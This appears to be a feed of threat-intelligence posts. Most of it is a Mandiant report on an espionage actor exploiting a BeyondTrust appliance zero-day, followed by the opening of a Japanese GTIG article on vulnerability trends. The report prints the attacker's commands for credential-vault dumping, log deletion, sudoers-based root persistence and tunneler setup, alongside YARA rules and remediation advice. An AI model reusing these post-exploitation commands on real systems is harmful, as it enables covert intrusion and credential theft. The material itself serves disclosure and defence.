		$adapt2 = "Global\\{8d00c640-48d8-4440-a8e1-660fd37f572a}" ascii wide
		$adapt3 = "\\\\.\\pipe\\%08lx" ascii
		$adapt4 = "13ConnectorHTTP" ascii
		$adapt5 = "9Connector" ascii

	condition:
		uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize < 10MB and (
			// Branch 1: ADAPTAGENT Sideloaded Payload (Eztwain4.dll)
			(any of ($camo_dll*, $adapt1, $adapt2) and 2 of ($adapt*)) or

			// Branch 2: NitroPromotion Masquerading Loader (NitroPromotion.exe)
			(any of ($camo_exe*) and (2 of ($load*) or any of ($adapt1, $adapt2))) or
			(all of ($camo_ver, $camo_copy) and any of ($camo_exe*) and any of ($load*))
		)
}

MITRE ATT&CK Techniques

Table 6: MITRE ATT&CK techniques

Acknowledgements

GTIG and Mandiant would like to thank the ManageEngine Threat Analysis Lab (METAL) research team for their initial discovery of this activity, proactive telemetry sharing, and ongoing collaboration to help secure our mutual customer bases and the broader software ecosystem.

Written by: Jayson Frost, Bryce Greathouse, Brian Meyer, John Palmisano, Rajesh Rajeshirke, Steve Rasch, John Wolfram

Introduction 

On October 15, BeyondTrust disclosed a vulnerability, CVE-2026-102764, impacting BeyondTrust Remote Support (formerly Bomgar) appliances. BeyondTrust Remote Support is an enterprise secure remote access solution that enables IT teams to securely access and troubleshoot remote endpoints. The successful exploitation of this vulnerability results in the arbitrary upload of files. 

During an incident response engagement, Mandiant identified evidence that ARMORY CASTLE, a suspected PRC-nexus espionage threat actor (formerly tracked as UNC5221), exploited this vulnerability as a zero-day, in late August 2026. This blog describes how ARMORY CASTLE escalated privileges and established persistent access to compromised BeyondTrust Remote Support appliances following exploitation of CVE-2026-102764, and provides actionable guidance for defenders.

Organizations should prepare for potential widespread exploitation following this disclosure, as ARMORY CASTLE and other threat actors have historically conducted broad, opportunistic exploitation once the vulnerability becomes public. 

Exploitation

Mandiant identified evidence of CVE-2026-102764 exploitation within the access, syslog, messages, thin-scc, brain and SSL log files, which are only accessible via an LUKS-encrypted partition which contains the /home directory. We strongly recommend that affected organizations immediately apply the security patches provided by BeyondTrust to remediate the vulnerability, and review additional guidance in their blog.

Post-Exploitation

Following the successful exploitation of CVE-2026-102764, Mandiant observed ARMORY CASTLE leverage multiple distinct TTPs to establish a foothold, escalate privileges, and enable lateral movement. Throughout the intrusion, ARMORY CASTLE leveraged a deep understanding of BeyondTrust appliance internals, as evidenced by their abuse of proprietary CLI utilities, startup configuration templates and local reverse-proxy routing. The threat actor used newly identified custom malware, the SAWFLY webshell and the BARECLAW tunneler to interact with the BeyondTrust device. Additionally, the actor routinely deleted appliance logs and endpoint artifacts to maintain access and evade detection.

Staging Webshell

After successful exploitation of CVE-2026-102764, ARMORY CASTLE initiated POST requests to /app_84304470%2Ephp. Mandiant was unable to recover the file associated with the POST requests. Approximately 11 minutes following the initial POST request, the file system recorded the creation of the SAWFLY webshell at the web root path /%SITE_SERVICE_ACCOUNT%/ingredi/app/laravel/public/. ARMORY CASTLE leveraged the SAWFLY webshell as one of their primary footholds within the environment over the course of the intrusion. 

SAWFLY Webshell

SAWFLY (mangoapi.php) is an obfuscated, lightweight PHP webshell that implements bidirectional encrypted C2 communication using a custom Base32 transport layer and a 256-bit RC4 stream cipher. The webshell inspects incoming HTTP POST requests for the obfuscated parameter _c94mfe. 

If the parameter is absent, the script immediately sets HTTP status 404 Not Found (http_response_code(404)) and exits to evade automated web crawlers and vulnerability scanners. When the _c94mfe parameter is supplied, the webshell Base32-decodes the payload, decrypts it using RC4 with a hardcoded 32-byte key and executes the resulting PHP code via @eval(). Any non-null return value from the evaluated code is RC4-encrypted with the same key, Base32-encoded, and echoed back to the client. 

Privilege Escalation via SUID Bit Permissions

The SAWFLY webshell ran under the site's service account, an unprivileged local user. To escalate privileges, the threat actor copied the system shell executable (/bin/sh) to the file /usr/bin/dbus-authd.

The threat actor then modified the file's ownership to root and enabled Set User ID (SUID) permissions. When a binary has SUID permissions enabled, it executes with the privileges of the file's owner (root) rather than the user running the command, effectively granting the threat actor a persistent root-level backdoor on the host system.

After establishing a foothold through the web shell, the actor elevated from the web service account to root-level control of the appliance host. This gave them access to every credential the appliance stored or brokered and the ability to modify files that survive reboot and configuration reset.

Credential Harvesting: BeyondTrust Vault Extraction

Mandiant observed the threat actor attempt to harvest credentials directly from the appliance's native secrets management database. To achieve this, the actor leveraged the /ns/sbin/bt-secrets binary which is a proprietary, administrative Command Line Interface (CLI) utility native to BeyondTrust appliances used to manage, store, and retrieve passwords, API keys, and endpoint credentials.

The threat actor systematically iterated through several CLI syntax variations to locate and dump the appliance's credential vault:

/ns/sbin/bt-secrets get -p %SITE_SERVICE_ACCOUNT% vault
/ns/sbin/bt-secrets get %SITE_SERVICE_ACCOUNT% vault
/ns/sbin/bt-secrets get vault

Figure 2: Recovered Commands from message logs

First, the threat actor attempted to target the vault for a specific site service account in order to pull passwords and keys assigned exclusively to that profile.

Next, they issued a fallback command, targeting the global, appliance-level password safe to dump all stored administrative credentials.

The threat actor concluded their interaction with the bt-secrets binary by forcibly removing the records stored in /home/bomgar/log/bt-secrets.log and any archived files.

/usr/sbin/sh -c 'rm -f /home/bomgar/log/bt-secrets.log /home/bomgar/log/bt-secrets.log.* 2>/dev/null;'

Figure 3: Recovered Commands from message logs

Persistence

For long-term persistent access, Mandiant observed the threat actor target the BeyondTrust configuration templates to grant passwordless root privileges to the site service account.

First, the threat actor created the /home/bomgar/sbin/post_boot.d directory, which is reserved for scripts executed automatically at system startup. Within this directory, they created a shell script named zz-root-persist.

The contents of the zz-root-persist script indicate that it first checks if the user account is already granted passwordless root privileges within the /ns/config/sudoers.template file. If the entry is missing, the script appends '%SITE_SERVICE_ACCOUNT% ALL=(ALL) NOPASSWD: ALL' to the template. This entry added  to the sudoers template grants the site user account passwordless administrative privileges to execute any command on the host system.

Finally, the script executes '/ns/sbin/bt-sysconfig' --no-restart misc, which forces the appliance backend to immediately parse /ns/config/sudoers.template and rebuild the active /etc/sudoers file. This strategy ensures the threat actor's privilege escalation survives system reboots and configuration resets, which would normally overwrite manual changes made directly to /etc/sudoers.

#!/bin/bash
grep -qF '%SITE_SERVICE_ACCOUNT% ALL=(ALL) NOPASSWD: ALL' '/ns/config/sudoers.template' || echo '%SITE_SERVICE_ACCOUNT% ALL=(ALL) NOPASSWD: ALL' >> '/ns/config/sudoers.template'
'/ns/sbin/bt-sysconfig' --no-restart misc

 Figure 4: Contents of zz-root-persist

Anti-Forensics

Throughout their unauthorized access to the appliance, Mandiant observed multiple instances where the threat actor attempted to impair defenses and hinder detection by systematically deleting system, web server, and application-level logs.

Originating from the SAWFLY webshell, the threat actor executed the following command using elevated sudo privileges to delete active logs across both host and site-specific directories:

'rm -f \'/ns/log/auth.log\' \'/ns/log/ssl.log\' \'/ns/log/proto-handler.log\' \'/ns/log/bt-docker.log\' \'/ns/log/http-access.log\' \'/ns/log/http-errors.log\' \'/ns/log/php-fpm.log\' \'/ns/log/php-fpm-access.log\' \'/ns/log/php_debug.log\' \'/ns/log/php_web_errors.log\' \'/var/log/messages\' \'/home/%SITE_SERVICE_ACCOUNT%/ingredi/log/httpd_access.log\' \'/home/%SITE_SERVICE_ACCOUNT%/ingredi/log/httpd_error.log\' /tmp/sshauth.*'

Figure 5: Recovered Command

Lateral Movement: BeyondTrust Admin Session Abuse

After the compromise of the BeyondTrust device, the threat actor pivoted into the BeyondTrust Remote Support application to perform reconnaissance via compromised Administrator credentials. First, the threat actor leveraged the Administrator account to log into the web administrative portal.

{
  "event": "login",
  "status": "success",
  "target": "web/login",
  "who": "[REDACTED_USERNAME] using password",
  "who_ip": "[REDACTED_IP]"
}

Figure 6: BeyondTrust Syslog Entry

After testing their initial access and verifying their ability to temporarily join the native Administrators group policy, the threat actor altered their strategy for long-term persistence. The actor directly modified the compromised account's permissions, upgrading both local Jump Items and Team permissions from No Access to Administrator. Jump Items are individual systems or devices that are made available for remote access within a Jump Group, enabling administrators to organize and control access to remote systems. This configuration change granted the threat actor permanent, unrestricted authorization to launch remote sessions to downstream systems populated within the appliance's Jump Item list.

{
  "event": "user_changed",
  "old_username": "[REDACTED]",
  "old_permissions:jump_item_role:default:id": 1,
  "new_permissions:jump_item_role:default:id": 3,
  "old_permissions:jump_item_role:default:name": "No Access",
  "new_permissions:jump_item_role:default:name": "Administrator",
  "old_permissions:jump_item_role:teams:id": 1,
  "new_permissions:jump_item_role:teams:id": 3,
  "old_permissions:jump_item_role:teams:name": "No Access",
  "new_permissions:jump_item_role:teams:name": "Administrator"
}

Figure 7: BeyondTrust Syslog Entry

Internal Reconnaissance

Once the threat actor obtained elevated administrative privileges, Mandiant observed the threat actor establish a remote support session to target internal endpoints.

Once connected, the threat actor leveraged the appliance’s built-in support tools to request and obtain full file-system access. The threat actor utilized the native BeyondTrust Remote Support file transfer service to download and exfiltrate sensitive internal documents useful for network reconnaissance, such as software inventories, directly from the user's desktop environment. 

BARECLAW Tunneler

Mandiant observed the threat actor tunnel traffic through the BeyondTrust device via a custom SOCKS5 proxy tunneler. BARECLAW is a tunneler written in C that provides a SOCKS5 proxy service carried over the WebSocket transport and relays TCP connections between a remote client and destinations. BARECLAW statically embeds a CivetWeb WebServer to supply its HTTP and WebSocket functionality and utilizes OpenSSL for TLS. BARECLAW is configurable and provides the option to require authentication, to encrypt data between the client and tunneler, to restrict reachable destinations to specific CIDR ranges, to chain traffic to an upstream proxy, and to modify its default WebSocket endpoint and listening ports. TLS is enabled by providing a PEM certificate while authentication, encryption, destination filtering, and TLS are disabled by default. 

BARECLAW receives its configuration through CLI input and it provides a CLI option menu:

Usage: %s [options]
  --listen PORT            plain ws port (default 8080)
  --listen-tls PORT        wss port (default 8443, needs --ssl-cert)
  --ssl-cert FILE          PEM certificate (enables wss)
  --token STRING           shared secret (?token= auth + obfs seed)
  --obfs                   enable XOR stream obfuscation
  --timeout SEC            idle timeout (default 300)
  --connect-timeout SEC    target connect timeout (default 10)
  --max-tunnels N          concurrent tunnel limit (default 100)
  --allow-net CIDR         allowed target subnet (repeatable)
  --upstream [socks5://]host:port   route via upstream SOCKS5
  --threads N              civetweb worker threads (default 64)
  --ws-path PATH           websocket endpoint path (default /wsproxy)
  -q, --quiet              zero output (all logging suppressed)
  -h                       this help

Figure 8: BARECLAW CLI Option Menu

The threat actor executed BARECLAW through the following command line arguments:

/tmp/ingredi_ws --listen 19800 --token %REDACTED% --obfs -q --ws-path /uidchanarge

Figure 9: BARECLAW full Command-Line Arguments

This command line configures BARECLAW to listen on TCP port 19800 and create the WebSocket endpoint /uidchanarge on the victim system. Clients are required to authenticate using the token specified in the command line arguments while the -q argument suppresses the tunneler’s logging. Tunneled data is encrypted with an XOR-based routine derived from that token and an 8-byte value provided by the client at the start of the session. The lack of the --ssl-cert and --listen-tls arguments in the CLI options means TLS was not enabled in this specific instance.

Modifications to Haproxy.conf

In addition to the creation of the BARECLAW tunneler, Mandiant observed the threat actor modify the /ns/config/haproxy.conf file in order for BARECLAW to be accessible directly from the internet. The HAProxy service running on BeyondTrust devices acts a reverse proxy for the device that accepts incoming requests on behalf of the BeyondTrust server and forwards the request to the appropriate backend services running on the local system (such as web interfaces, administration portals, or application gateways) based on the request's port or URL path. 

The haproxy.conf file is the primary configuration script that dictates how the BeyondTrust appliance handles, routes, and secures incoming traffic. The threat actor modifications first established an Access Control List (ACL) named wswsws to monitor incoming traffic for the specific URI path /uidchanarge. When a request matching this path is detected, HAProxy bypasses normal appliance web services and routes the traffic to a custom backend designated as webskd3.

    acl wswsws path /uidchanarge
    use_backend webskd3 if wswsws

Figure 10: ACL Modification to haproxy.conf

Next, the webskd3 backend routes the incoming web stream locally (127.0.0.1 / localhost) to TCP port 19800, where the BARECLAW utility is actively listening. This local-only binding ensures that the backdoor listener remains completely hidden from external network scans, as it can only be reached internally via HAProxy's local redirection.

backend webskd3
    mode http
    server websocks5srv 127.0.0.1:19800
    option http-keep-alive
    timeout server 28s
    timeout tunnel 5h

Figure 11: Backend Route Modification to haproxy.conf

Attribution

GTIG attributes the zero-day exploitation of CVE-2026-102764 and the subsequent deployment of SAWFLY and BARECLAW to the suspected PRC-nexus espionage actor ARMORY CASTLE (formerly tracked as UNC5221). The tooling and TTPs leveraged within this intrusion align with previously observed activity from ARMORY CASTLE.

GTIG has previously reported ARMORY CASTLE exploiting multiple vulnerabilities in edge appliances and deploying an extensive suite of custom tooling to support their objectives, ranging from passive backdoors and webshells to trojanized components of edge devices. ARMORY CASTLE has been active as early as October 2023 and has targeted a wide range of countries and verticals during their operations. 

Outlook and Implications

In past campaigns, ARMORY CASTLE has conducted widespread and opportunistic exploitation following the public disclosure of vulnerabilities it had exploited selectively as zero-days, racing to infiltrate target organizations before patches are deployed. It is possible that we will observe similar widespread exploitation attempts associated with CVE-2026-102764. 

GTIG assesses with high confidence that ARMORY CASTLE will continue to leverage zero-day vulnerabilities in edge devices to gain access to environments to support their espionage objective. Defenders should also prepare for the possibility that following disclosure of CVE-2026-102764, ARMORY CASTLE may conduct widespread exploitation similar to what GTIG observed in 2024 following the disclosure of CVE-2023-46805 and CVE-2024-21887. 

Remediation and Hardening

Organizations that have not yet applied the BT26-05 patch should immediately assess their exposure and risk, and review additional guidance from BeyondTrust in their blog. CVE-2026-102764 affects all supported Remote Support versions up to 26.2.3 and allows an unauthenticated remote attacker to perform file operations on the appliance, which can lead to host-level control and access to every credential the appliance stores or brokers. Any appliance that was reachable from the internet on a vulnerable version during the exploitation window should be treated as potentially compromised until it has been reviewed. Mandiant recommends a phased, patch-first approach that balances containment against disruption to support operations.

Immediate Mitigation

Organizations should choose among the following options based on their risk tolerance, evidence of compromise, and operational needs.

Option 1: Apply the BT26-05 Patch (Mandiant Recommended)

• Remote Support SaaS: BeyondTrust applied the patch to all SaaS tenants on October 9, 2026. No customer action is required for the appliance itself. The credential and configuration steps in Option 3 still apply.

• Self-hosted, version 24.3.1 or later: Apply the BT26-05-RS patch from the /appliance interface, or confirm it was applied automatically if the appliance is subscribed to automatic updates.

• Self-hosted, older than 24.3.1: Upgrade to a supported version, then apply the patch. Upgrading closes the vulnerability but does not remediate prior exposure.

• If the patch is not visible in /appliance, open a case with BeyondTrust Support referencing BT26-05.

Option 2: Isolate Compromised or Suspected Appliances

• Preserve before acting: Snapshot virtual appliances with memory and export the disk before any change or reboot. For B Series hardware and SaaS tenants, request forensic preservation through BeyondTrust Support. Collect syslog, reverse-proxy or WAF, and perimeter firewall logs for the full exposure window, since an attacker with host access can delete on-appliance logs. Mandiant determined that the actor removed logs throughout the incident.

• Isolate at the perimeter: Block inbound traffic to the appliance's public address at the firewall rather than in /appliance, so the configuration remains intact for review.

• Restrict egress: Deny outbound traffic except to BeyondTrust update and licensing endpoints, and log every denied connection.

• Terminate access paths: End active support sessions and disable new sessions, Jump Clients, Jumpoints, and API accounts from /login. Disable rather than delete so the audit trail survives.

• Rebuild rather than clean: Redeploy appliances with confirmed or unknown compromise status from a clean, fully patched image. Customers cannot audit the appliance host file system, and host-level persistence survives reboot and configuration reset. Restore only a configuration backup dated before the exposure window, or restore the newest backup while isolated and complete the review in Option 3, Part B, before reconnecting anything. Issue a new TLS certificate and redeploy Jump Clients, Jumpoints, and the representative console from the rebuilt appliance.

Note: Isolation and session termination interrupt support operations. Organizations should coordinate with help desk and vendor-support stakeholders before proceeding.

Option 3: Apply Targeted Compensating Controls

The following controls reduce exposure and limit post-exploitation impact. They do not substitute for the patch.

Part A: Network Restrictions

• Restrict access to the /login and /appliance administrative interfaces by IP or network segment at the appliance level. Only representative console, customer portal, and Jump Client traffic should be reachable from the internet.

• Where operationally possible, place a reverse proxy or WAF with full URI logging in front of the appliance to keep a record of request paths that the appliance cannot alter.

Part B: Credential Rotation and Configuration Review

• Revoke sessions and enrollments: End all active support sessions, then redeploy Jump Clients, Jumpoints, and the representative console from the patched or rebuilt appliance to invalidate existing tokens.

• Rotate credentials in dependency order: /appliance administrative credentials; /login administrators and local users; API client secrets; security provider bind accounts and SAML signing keys; Remote Support Vault and integrated Password Safe or Privileged Remote Access (PRA) credentials, rotated at the target system; integration credentials (SMTP, syslog, Information Technology Service Management (ITSM) connectors, outbound event secrets); and any credential typed into a support session during the window.

• Review the /login configuration against a pre-window baseline: user and role changes, particularly Jump Item roles raised to Administrator; group and session policies; API accounts; security providers; Jump Items and Jumpoints; and outbound event or syslog destinations. Remove anything without a change record or a named owner.

• Review support session reports for the window, including file transfers, to establish which endpoints were accessed and what left them. Every endpoint touched is in scope for downstream hunting.

Note: Rotate credentials only after the appliance has been patched or rebuilt. Rotating earlier exposes the new credentials to an attacker who still controls the appliance.

Part C: Control Plane Restrictions

• Require SAML single sign-on with phishing-resistant MFA for all /login users, and remove local accounts except one vaulted break-glass account with alerting on use.

• Ensure the built-in Admin account is configured with Multi-Factor Authentication (MFA) in accordance with the official BeyondTrust Two-Factor Authentication Guidelines.

• Set the default Jump Item role in every group policy to No Access, and grant roles through policy rather than per user.

• Scope API accounts to the minimum permission set, with a named automation owner for any account holding user or Jump Item management rights, and rotate API secrets on a schedule.

• Keep privileged credentials in Password Safe or an external vault with credential injection rather than in the Remote Support Vault, and store only non-interactive service account credentials on the appliance.

• Apply default-deny outbound filtering from the appliance, allowing only BeyondTrust endpoints and the organization's own syslog and directory servers.

Part D: Logging and Detection Engineering

Logging and Visibility

• Forward appliance syslog to a SIEM over TLS with retention that covers a multi-month exposure window, and collect reverse-proxy or WAF and perimeter firewall logs for the appliance's address.

• Export /login session, team activity, and user audit reports on a schedule.

Detection Engineering

• Account and policy changes: user_changed events that raise a Jump Item or team role; user_added, api_account, and security_provider events with no change ticket; any change to outbound events or syslog destinations.

• Authentication: /login success from residential-broadband or commercial-VPN address space, and administrative logins outside business hours.

• Session activity: file-transfer events, and sessions started by accounts whose roles changed during the window.

• Request paths: at the reverse proxy or WAF, paths outside the known Remote Support path set, including unknown .php paths and WebSocket upgrades from outside support staff and endpoint address ranges.

• Anti-forensics: gaps in syslog forwarding from the appliance; an interruption bounded by a single session is a strong indicator of log tampering.

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.

File Indicators

Detections

YARA Rules

rule G_Hunting_Webshell_SAWFLY_1 {
  meta:
author = "Google Threat Intelligence Group"    
  strings:
    $b32 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" ascii wide
    $rc4 = "range(0,255)" ascii wide
    $pack = "pack('H*'," ascii wide
    $eval = "@eval(" ascii wide
    $code404 = "http_response_code(404)" ascii wide
  condition:
    filesize < 20KB and
    all of them
}

rule G_Hunting_Backdoor_BARECLAW_1 {
  meta:
    author = "Google Threat Intelligence Group"
strings:
$s1 = "[%s ws_socks5d] " ascii wide
$s2 = "--obfs requires --token" ascii wide
$s3 = "mux: %s (frame[%lu]: %s)" ascii wide
$s4 = "cannot create stream pump/writer thread (stream %d)" ascii wide
$s5 = "reject: bad or missing token from %s" ascii wide
$s6 = "listening on %s path=%s (token=%s obfs=%s max_tunnels=%d threads=%d)" ascii wide
$s7 = "--ws-path must start with '/'" ascii wide
$b_xorshift = { 48 c1 e0 17 48 31 c1 48 89 f0 48 c1 e8 1a 48 31 f0 48 31 c8 48 c1 e9 11 48 31 c8 }
condition:
uint32(0) == 0x464c457f and (5 of ($s*)) or ($b_xorshift and (3 of ($s*)))
}

Google Security Operations (SecOps)

Google SecOps customers have access to these broad category rules and more under the Mandiant Hunting, Mandiant Frontline Threats, and Mandiant Intel Emerging Threats rule packs. The activity discussed in the blog post is detected in Google SecOps under the rule names:

• Echo Pipes Base64 To Shell

• Base64 Encoded Shell Command Execution

• Low Severity Endpoint Detection Cluster on Host

• Suspicious Curl Download to tmp

• Suspicious Curl Network Connection to Staging Directory

Acknowledgements

We appreciate BeyondTrust for their collaboration against this threat.

執筆者: Robin Grunewald、Supriya Mazumdar、Kelli Vanderlee

はじめに

Google Threat Intelligence Group（GTIG）は、脆弱性の開示と悪用の統計情報を調査し、脆弱性の脅威ランドスケープに対する AI の影響を評価しています。AI によって、脆弱性の発見と悪用のペースだけでなく、発見される脆弱性の種類や典型的なリスク プロファイルも目に見えて変化していることがわかりました。

主な調査結果: 

• 脆弱性の開示が倍増: 1 か月あたりに開示された脆弱性の数は、2026 年 1 月には 5,045 件でしたが、2026 年 7 月には 10,477 件と倍増し、2026 年 8 月にはさらに増加して 10,740 件となりました。

• 脆弱性の悪用がほぼ倍増: 悪用された脆弱性の数は、2025 年には月平均 10.5 件でしたが、2026 年 1 月から 2026 年 8 月までの期間には月平均 18 件に増加しました。

• ゼロデイ脆弱性の悪用がわずかに増加: ゼロデイ脆弱性の悪用は、2025 年には月平均 8 件でしたが、2026 年 1 月から 2026 年 8 月までの期間には月平均 11 件に増加しました。

• AI はより重大な脆弱性を検出: AI を活用して発見した脆弱性については、低リスクの脆弱性の割合が低く、中リスクの脆弱性とリモートコード実行（RCE）につながる脆弱性の割合が高くなりました。

GTIG は、脆弱性の発見と悪用が短中期的に増加し続けると予測しています。脆弱性の迅速な発見と悪用によるリスクの増大に対抗するには、優先順位がないパッチの一括適用から、脅威インテリジェンスに基づくトリアージに移行し、標的型のエッジ防御とエージェントによる自動修復を組み合わせる必要があります。

範囲と手法

GTIG のこの分析では、2025 年 1 月 1 日から 2026 年 8 月 31 日までに開示された脆弱性の傾向を調査しています。このデータセットは、脆弱性とともに、悪用の影響、GTIG の脆弱性リスク評価、実際の悪用など、重要な運用上の側面も追跡しています。このブログ記事でリスク評価に言及する場合、CVSS の重大度ではなく、GTIG の脆弱性リスク評価を使用しています。

ベースラインのモニタリング対象期間は 20 か月間（2025 年 1 月～2026 年 8 月）ですが、このレポートでは特に、増加速度と新たな脅威ベクトルに焦点を当てています。

この調査では、共通脆弱性識別子（CVE）の開示率と悪用率の両面から、サイバーセキュリティ環境全体における AI の影響を評価することを目的としています。また、AI / 大規模言語モデル（LLM）の運用スタックを標的とする脆弱性についても検証しています。

2026 年に CVE の開示が倍増

脆弱性の開示件数は、2026 年 1 月には 5,045 件でしたが、7 月には 10,477 件と倍増し、8 月には 10,740 件とピークに達しました（図 1）。

脅威リスクと膨らんだ CVE 件数の区別

ただし、脅威インテリジェンスのコンテキストがなければ、2026 年を通じた元の開示件数は誤解を招く可能性があります。オープンソース エコシステム全体で CVE Numbering Authority（CNA）の割り当てポリシーが自動化されているため、ベースラインの数値が膨らむ可能性があります。たとえば、説明に「Linux カーネル」のみが含まれる脆弱性により、2026 年 1 月から 2026 年 8 月までの間に約 5,000 件の CVE が生成されましたが、実際に悪用されたゼロデイは確認されていません。

リスク評価の観点から見ると、最も興味深い増加は高リスクの脆弱性で発生しています。高リスクの脆弱性の開示件数は、2026 年 1 月には 131 件でしたが、2026 年 8 月には 350 件へと急増し、167% の増加を記録しました（図 2）。高リスクの脆弱性は、開示されたすべての脆弱性のうち、依然としてわずかな割合（2026 年 8 月時点で 3%）を占めています。

2026 年を通じた高リスクの脆弱性の増加は、影響を受けるベンダーの増加と、ベンダーの開示サイクルの集中という 2 つの複合的な要因によるものです。ソフトウェア エコシステム全体で、ベースラインの高リスクの開示件数は、2025 年半ばには月あたり約 65 件でしたが、2026 年半ばには月あたり約 135 件となり、過去 1 年間で 2 倍以上に増加しました（図 3）。このベースラインの上昇に加えて、図 3 では、特定のベンダーが例外的に多数の CVE を報告し、月間件数が過去最高を記録した 2 つの期間が際立っています。

• TOTOLINK: 4 月と 5 月に、一般消費者向けルーターのファームウェアに対する大規模な調査結果が開示され、75 件の高リスクの欠陥が追加されたことで、コマンド実行の脆弱性が年半ばに急増しました。

• Oracle と Linux: 6 月、7 月、8 月に、WebLogic や Coherence などのミドルウェア全体に適用される Oracle の四半期ごとの Critical Patch Update（CPU）と、Linux カーネル ネットワーク ドライバのアドバイザリが組み合わさったことで、8 月だけで 128 件の高リスクの脆弱性（高リスクの開示全体の約 37%）が発生し、リモートコード実行の脆弱性の増加に直接つながりました。

実際の悪用

GTIG は、2026 年 1 月から 8 月までの期間に、開示され、悪用された 141 件の脆弱性を記録しました。これは、2025 年全体で悪用された脆弱性の総数（127 件）を上回っています。実際の悪用は、2025 年には月平均 10.5 件でしたが、2026 年には月平均 18 件に増加しました。ただし、開示された脆弱性のうち、実際に悪用されたものの割合は依然として極めて低いことに注意する必要があります。2026 年に開示されたすべての脆弱性のうち、実際に悪用が確認されたものはわずか 0.23%（約 431 件に 1 件）であり、月あたりに換算すると、開示された脆弱性が数千件であるのに対し、悪用されたものは数十件程度です。つまり、月ごとの悪用件数は、ベンダーの開示サイクルや脅威アクターのキャンペーンの急増など、他の要因の影響を受けやすくなります。2026 年 5 月以降、CVE の悪用の拡大（指数化された増加率 +127%）が、脆弱性開示の増加（指数化された増加率 +128%）とほぼ一致し、脆弱性全体の状況を上回るのではなく、それに合わせて拡大するという変化が見られます。

ゼロデイの悪用はほぼ横ばい

悪用されたゼロデイの数は、2025 年の月平均 8 件から 2026 年の月平均 11 件へとわずかに増加しました。1 か月あたりに特定されたゼロデイの数は、2026 年半ばまでベースライン レベル（8～12 件）付近でしたが、8 月には 22 件に急増しました（図 4）。ゼロデイの悪用は、依然として、開示されたすべての脆弱性のうち、ごく一部を占めるにすぎませんが、2026 年 1 月から 2026 年 8 月までに確認された、悪用されたすべての脆弱性の大部分（62%）を占めています。

脅威アクターは N デイの悪用でより多くの成功を収めているか？

脅威アクターは、新しいゼロデイを発見するよりも、LLM や AI ツールを使用して、製品バージョン、パッチ、脆弱性開示の発表、概念実証（POC）コードの違いの分析を自動化し、N デイを迅速に武器化する方が、簡単または効率的であると考えている可能性があります。

CVE の悪用はよりリスクの高い脆弱性に向かう傾向

ゼロデイの悪用率はわずかに増加したのみであることから、2026 年 1 月から 2026 年 8 月にかけての脆弱性悪用の増加の主な要因は、N デイの迅速な武器化に集中していると考えられます。特に、高リスクの脆弱性の悪用は、2025 年には 28 件でしたが、2026 年 1 月～8 月には 75 件と 2 倍以上に増加しました。

攻撃対象領域別の悪用

2026 年 1 月から 2026 年 8 月までに悪用された脆弱性のうち、エッジおよびセキュリティ アプライアンスに影響を及ぼした脆弱性は 14%、エンタープライズ ディレクトリおよびコラボレーション ハブに影響を及ぼした脆弱性は 11% でした。エッジ ゲートウェイは、初期アクセスの主要なベクトルとなっています。2026 年 1 月から 8 月までに悪用されたエッジの欠陥の 65% 以上が、高 / 重大の脅威リスク評価に該当しており、攻撃者は認証されていない公開管理インターフェースを積極的に標的にして、企業の EDR エージェントの盲点を突いています。

CVE の発見数は急増しているものの、攻撃者の悪用は依然として境界アプライアンスと公開された企業サービスに集中しています。

特定のカテゴリの増加率を比較

月ごとの元の数をグラフにすると、たとえば 8 月に発見されたゼロデイが 1 桁であるのに対し、開示された脆弱性が 10,000 件を超えるなど、大きな差があるため、相対的な勢いがわかりません。脆弱性ティア間の増加率を直接比較できるように、図 7 では 4 つの指標を 2025 年 1 月のベースライン 0 に指数化し、3 か月の移動平均増加率のトレンドラインを示しています。

• CVE 開示件数全体（128%）: 前述のとおり、元の CVE 開示件数は 2026 年 1 月から 2026 年 8 月にかけて倍増しました。3 か月の移動平均増加率から、2026 年には CVE の開示が着実に加速していることがわかります。

• 開示された高リスクの脆弱性（241%）: データセット全体で最も急激な増加を示し、2026 年 8 月までに初期ベースラインの約 3.5 倍（241% 増加）に達しています。Linux、Oracle、Totolink を除くと、2025 年 1 月から 2026 年 8 月までの増加率はわずか 128% でした。

• CVE の実際の悪用（127%）: 2026 年 1 月から 8 月にかけて、CVE の悪用は CVE の開示全体とほぼ同じ割合で増加していますが、3 か月の移動平均トレンドラインは、悪用の増加が 2026 年第 2 四半期まで本格化しなかったことを示しています。

• ゼロデイの悪用（59%）: 2026 年半ばまではベースライン レベル（月あたり 8～12 件のゼロデイ）付近でしたが、8 月には 22 件に達しました。この増加は 3 か月の移動平均増加率に反映されており、2026 年の夏に上昇傾向を示し始めました。

この視覚的に明確な違いでは、2026 年の脆弱性悪用の緩やかな増加が、新たなゼロデイの急増ではなく、実際の脆弱性における高リスクのエクスプロイトの迅速かつ標的を絞った武器化によって引き起こされていることが明確に示されています。

ハンターとしての AI: AI を活用した脆弱性の発見

検出手法と帰属特定の現実

現在の公開データでは、2 つの構造的な要因により、AI によって発見された脆弱性が大幅に過小評価されています。

1. 標準化されたメタデータの欠如: 公開 CVE リポジトリには、AI への帰属を示す統一されたメタデータタグがまだないため、手動でヒューリスティックな追跡を行う必要があります。

2. ファーストパーティとクラウドのサイレント パッチ適用: CVE の割り当ては通常、顧客によるパッチ適用の調整が必要なオンプレミス ソフトウェアやサードパーティ ソフトウェアのために予約されているため、大手のクラウド プロバイダや SaaS プロバイダは日常的に、正式な CVE ID をリクエストすることなく、AI が検出した脆弱性を本番環境で直接修正しています。また、多くの調査結果は、確立された協調的な脆弱性の開示（CVD）の期間中、公開が制限されます。

しかし、多層検証プロセスを使用することで、自律型エージェントによって表面化する可能性が高い脆弱性を特定できます。

1. 検証済みのラボとベンダーの台帳: フロンティア AI 研究プログラムから確認済みの開示情報を直接取り込みます。

2. アドバイザリとリリースの解析: サイバーセキュリティ インフラストラクチャ セキュリティ庁（CISA）のアドバイザリ、MITRE の記録、セキュリティに関するベンダーの公開情報をプログラムでモニタリングし、根本原因の発見や PoC の合成が自律型 AI エージェント（Hacktron AI、AISLE など）によるものであることを明示的に認めているものを特定します。

リスク プロファイルの違い: AI による発見と従来型の発見

AI が発見した可能性が高いと特定できた、開示済みの脆弱性を分析すると、人間やスキャナによる従来型の発見とは構造的に異なることが示唆されます。AI エージェントは、低リスクの脆弱性を比較的少なく、中リスクと高リスクの脆弱性を比較的多く検出するために使用されています。

